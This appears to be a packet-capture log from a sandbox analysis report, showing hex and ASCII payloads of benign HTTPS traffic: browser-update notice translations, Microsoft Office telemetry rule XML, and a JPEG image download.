2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 7d 3b 74 2e 66 61 3d 7b 27 6d 73 67 27 3a 27 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 b4 d9 85 d8 a7 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d9 82 d8 af db 8c d9 85 db 8c 20 d8 a7 d8 b3 d8 aa 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d8 a8 d8 b1 d8 a7 db 8c 20 d8 a7 db 8c d9 85 d9 86 db 8c d8 8c 20 d8 b3 d8 b1 d8 b9 d8 aa 20 d9 88 20 d8 aa d8 ac d8 b1 d8 a8 d9 87 20 d8 a8 d9 87 d8 aa d8 b1 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 ae d9 88 d8 af 20 d8 b1 d8 a7 20 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 20 da a9 d9 86 db 8c d8 af 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 d8 b1 d8 b3 d8 a7 d9 86 db 8c 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d9 86 d8 a7 d8 af db 8c d8 af d9 Data Ascii: };t.fa={'msg':' ({brow_name}) .','msgmore':' .','bupdate':' ','bignore':'
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 27 7d 3b 74 2e 68 65 3d 7b 27 6d 73 67 27 3a 27 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d7 a9 d7 9c d7 9a 20 d7 90 d7 99 d7 a0 d7 95 20 d7 9e d7 a2 d7 95 d7 93 d7 9b d7 9f 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d7 a2 d7 93 d7 9b d7 9f 2f d7 99 20 d7 90 d7 aa 20 d7 94 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 d7 a9 d7 9c d7 9a 20 d7 9c d7 a9 d7 99 d7 a4 d7 95 d7 a8 20 d7 94 d7 90 d7 91 d7 98 d7 97 d7 94 20 d7 95 d7 94 d7 9e d7 94 d7 99 d7 a8 d7 95 d7 aa 20 d7 95 d7 9b d7 93 d7 99 20 d7 9c d7 99 d7 94 d7 a0 d7 95 d7 aa 20 d7 9e d7 94 d7 97 d7 95 d7 95 d7 99 d7 94 20 d7 94 d7 98 d7 95 d7 91 d7 94 20 d7 91 d7 99 d7 95 d7 aa d7 a8 20 d7 91 d7 90 d7 aa d7 a8 20 d7 96 d7 94 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d7 a2 d7 93 d7 9b Data Ascii: '};t.he={'msg':' ({brow_name}) .','msgmore':'/ .','bupdate':'
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 73 61 6e 67 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 20 41 6e 64 61 20 75 6e 74 75 6b 20 70 65 6e 67 61 6c 61 6d 61 6e 20 74 65 72 62 61 69 6b 2c 20 6c 65 62 69 68 20 61 6d 61 6e 2c 20 64 61 6e 20 63 65 70 61 74 20 64 69 20 73 69 74 75 73 20 69 6e 69 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 41 62 61 69 6b 61 6e 27 2c 27 72 65 6d 69 6e 64 27 3a 27 41 6e 64 61 20 61 6b 61 6e 20 64 69 69 6e 67 61 74 6b 61 6e 20 6b 65 6d 62 61 6c 69 20 64 61 6c 61 6d 20 7b 64 61 79 73 7d 20 68 61 72 69 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4a 61 6e 67 61 6e 20 70 65 72 6e 61 68 20 74 61 6d 70 69 6c 6b 61 6e 20 6c 61 67 69 27 7d 3b 74 Data Ascii: sang.','msgmore':'Perbarui peramban Anda untuk pengalaman terbaik, lebih aman, dan cepat di situs ini.','bupdate':'Perbarui peramban','bignore':'Abaikan','remind':'Anda akan diingatkan kembali dalam {days} hari.','bnever':'Jangan pernah tampilkan lagi'};t
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: c5 a1 79 6b 6c c4 97 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 79 72 61 20 70 61 73 65 6e 75 73 69 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 41 74 73 69 6e 61 75 6a 69 6e 6b 69 74 65 20 73 61 76 6f 20 6e 61 72 c5 a1 79 6b 6c c4 99 20 6e 6f 72 c4 97 64 61 6d 69 20 67 61 75 74 69 20 64 61 75 67 69 61 75 20 73 61 75 67 75 6d 6f 2c 20 67 72 65 69 c4 8d 69 6f 20 69 72 20 70 61 c4 8d 69 c5 b3 20 67 65 72 69 61 75 73 69 c5 b3 20 70 61 74 69 72 c4 8d 69 c5 b3 20 c5 a1 69 6f 6a 65 20 73 76 65 74 61 69 6e c4 97 6a 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 74 6e 61 75 6a 69 6e 74 69 20 6e 61 72 c5 a1 79 6b 6c c4 99 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 4e 65 70 61 69 73 79 74 69 27 2c 27 72 65 6d 69 6e 64 27 3a 27 4a 75 6d 73 20 62 75 73 20 70 72 69 6d 69 Data Ascii: ykl ({brow_name}) yra pasenusi.','msgmore':'Atsinaujinkite savo narykl nordami gauti daugiau saugumo, greiio ir pai geriausi patiri ioje svetainje.','bupdate':'Atnaujinti narykl','bignore':'Nepaisyti','remind':'Jums bus primi
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 74 20 73 69 6b 6b 65 72 68 65 74 2c 20 68 61 73 74 69 67 68 65 74 20 6f 67 20 64 65 6e 20 62 65 73 74 65 20 6f 70 70 6c 65 76 65 6c 73 65 6e 20 70 c3 a5 20 64 65 74 74 65 20 6e 65 74 74 73 74 65 64 65 74 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 4f 70 70 64 61 74 65 72 20 6e 65 74 74 6c 65 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 44 75 20 76 69 6c 20 66 c3 a5 20 65 6e 20 70 c3 a5 6d 69 6e 6e 65 6c 73 65 20 6f 6d 20 7b 64 61 79 73 7d 20 64 61 67 65 72 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 41 6c 64 72 69 20 76 69 73 20 69 67 6a 65 6e 27 7d 3b 74 2e 70 6c 3d 7b 27 6d 73 67 27 3a 27 54 77 6f 6a 61 20 70 72 7a 65 67 6c c4 85 64 61 72 6b 61 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 73 74 Data Ascii: t sikkerhet, hastighet og den beste opplevelsen p dette nettstedet.','bupdate':'Oppdater nettleser','bignore':'Ignorer','remind':'Du vil f en pminnelse om {days} dager.','bnever':'Aldri vis igjen'};t.pl={'msg':'Twoja przegldarka ({brow_name}) jest
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 20 d0 b8 d1 81 d0 bf d0 be d0 bb d1 8c d0 b7 d0 be d0 b2 d0 b0 d0 bd d0 b8 d1 8f 20 d1 8d d1 82 d0 be d0 b3 d0 be 20 d1 81 d0 b0 d0 b9 d1 82 d0 b0 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d0 9e d0 b1 d0 bd d0 be d0 b2 d0 b8 d1 82 d1 8c 20 d0 b1 d1 80 d0 b0 d1 83 d0 b7 d0 b5 d1 80 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d0 98 d0 b3 d0 bd d0 be d1 80 d0 b8 d1 80 d0 be d0 b2 d0 b0 d1 82 d1 8c 27 2c 27 72 65 6d 69 6e 64 27 3a 27 d0 92 d1 8b 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b8 d1 82 d0 b5 20 d0 bd d0 b0 d0 bf d0 be d0 bc d0 b8 d0 bd d0 b0 d0 bd d0 b8 d0 b5 20 d1 87 d0 b5 d1 80 d0 b5 d0 b7 20 7b 64 61 79 73 7d 20 d0 b4 d0 bd d0 b5 d0 b9 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 d0 91 d0 be d0 bb d1 8c d1 88 d0 b5 20 d0 bd d0 b5 20 d0 bf d0 be d0 ba d0 b0 d0 b7 Data Ascii: .','bupdate':' ','bignore':'','remind':' {days} .','bnever':'

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49796	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:20 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 04 Oct 2024 23:21:50 GMT ETag: "0x8DCE4CB535A72FA" x-ms-request-id: 4dad204e-401e-005b-4bf5-169c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121020Z-1657d5bbd48dfrdj7px744zp8s000000034g00000000fpxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:20 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-07 12:10:20 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49801	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:20 UTC	565	OUT	GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause
2024-10-07 12:10:20 UTC	236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 23 Aug 2017 16:09:38 GMT Accept-Ranges: bytes Content-Length: 3824757 Content-Type: image/jpeg
2024-10-07 12:10:20 UTC	7956	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 f0 00 f0 00 00 ff e1 22 ea 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 09 01 0f 00 02 00 00 00 06 00 00 00 7a 01 10 00 02 00 00 00 0d 00 00 00 80 01 1a 00 05 00 00 00 01 00 00 00 8e 01 1b 00 05 00 00 00 01 00 00 00 96 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 28 00 00 00 9e 01 32 00 02 00 00 00 14 00 00 00 c6 01 3b 00 02 00 00 00 12 00 00 00 da 87 69 00 04 00 00 00 01 00 00 00 ec 00 00 02 e4 43 61 6e 6f 6e 00 43 61 6e 6f 6e 20 45 4f 53 20 35 44 00 00 00 00 00 f0 00 00 00 01 00 00 00 f0 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 4c 69 67 68 74 72 6f 6f 6d 20 34 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 31 32 3a 30 37 3a 30 39 20 32 30 3a 34 30 3a 35 39 00 50 72 61 74 65 72 50 Data Ascii: JFIF"ExifMM*z(1(2;iCanonCanon EOS 5DAdobe Photoshop Lightroom 4.0 (Windows)2012:07:09 20:40:59PraterP
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: e7 de b3 a9 88 e6 8a bf 41 d2 c3 a8 36 97 53 7a eb c2 d2 e9 81 2e ae 5c 3c 83 1c a0 f9 55 b3 8c 7e 5d 09 eb e8 b9 22 b1 b5 3d 36 3b 88 cc a3 6c 4c ab 9d fd 06 3d 4e 7d ab 44 c9 68 c6 b2 b1 92 f3 25 49 58 40 e5 c0 c1 3f 4f 4f f3 e9 4e 77 50 e7 4f d3 d4 49 2e 79 7c fc a3 dc 9a 87 2e 69 79 22 d4 79 63 ea 6a e9 9a 11 2c b2 cc 77 4d d3 7f 38 1e cb fe 7b d6 b4 d0 88 10 22 9e 9d 43 75 3e df e7 da b1 94 b9 a4 5c 55 91 42 66 2c 77 33 e3 03 95 1d ba f6 ff 00 3d 2b 35 ee 21 c8 f2 8e d6 db fd ee 4f af e1 56 95 c4 c8 b0 ef f7 be f0 3c 93 eb 52 c7 02 c4 b8 dc 4b 13 b8 f1 c7 4a 6d f6 04 8f 5b 2d a0 78 3e d9 64 9d d2 e6 ec 1f 95 d9 79 ce 72 36 ae 4e 08 c7 5e bd 6b 87 d6 fc 4e fe 28 be fb 1d e5 be db 59 63 64 41 d5 83 1c 60 f7 19 ce 31 e9 d6 94 e5 1a 6b 91 6e 28 45 cd f3 Data Ascii: A6Sz.\<U~]"=6;lL=N}Dh%IX@?OONwPOI.y\|.iy"ycj,wM8{"Cu>\UBf,w3=+5!OV<RKJm[-x>dyr6N^kN(YcdA`1kn(E
2024-10-07 12:10:20 UTC	8000	IN	Data Raw: fe 77 03 89 39 62 87 ab 21 e3 23 e9 e2 52 59 af 35 24 30 c1 0b 08 db 65 7a f1 00 6f f6 54 7c 4d d3 ed 3f c3 96 78 58 b0 ef 23 c5 36 83 a9 cd 9f 68 8e 18 25 da bc 0b a3 69 b2 cf 10 92 6b 94 2a e0 46 d4 8c 73 6e 3c a8 3e de f4 aa a9 ff 00 65 99 38 b2 4f 24 e2 24 38 21 fc 3c 5f d1 ff 00 72 e2 e4 c3 08 63 91 04 ce 7f d1 fc 7a 90 82 d6 fb 52 d2 a2 d0 ad 2e 29 72 ea b2 12 b2 32 db ca 14 ec 5b a9 7f 83 e1 65 71 f6 f3 2b 19 31 c8 4d fa 78 bf 43 8f 9a a5 8e 3b 7a b8 7f dc ff 00 c7 52 7d 43 c9 3e 6d b6 e2 b7 10 23 a2 ec 19 65 4a 00 3d 98 83 f8 66 58 cf 1b 70 4e 09 10 bf 44 d3 ae e2 b9 11 58 06 bc b9 7a ac ed 17 f7 2a 87 af c6 69 c8 ff 00 95 f6 72 8d 5e 58 78 7e bf 4c 7f a4 e4 68 b1 cc 64 1c 17 29 33 8b 56 b4 8a 7b 48 ef e4 8a 6d 45 36 f4 54 f3 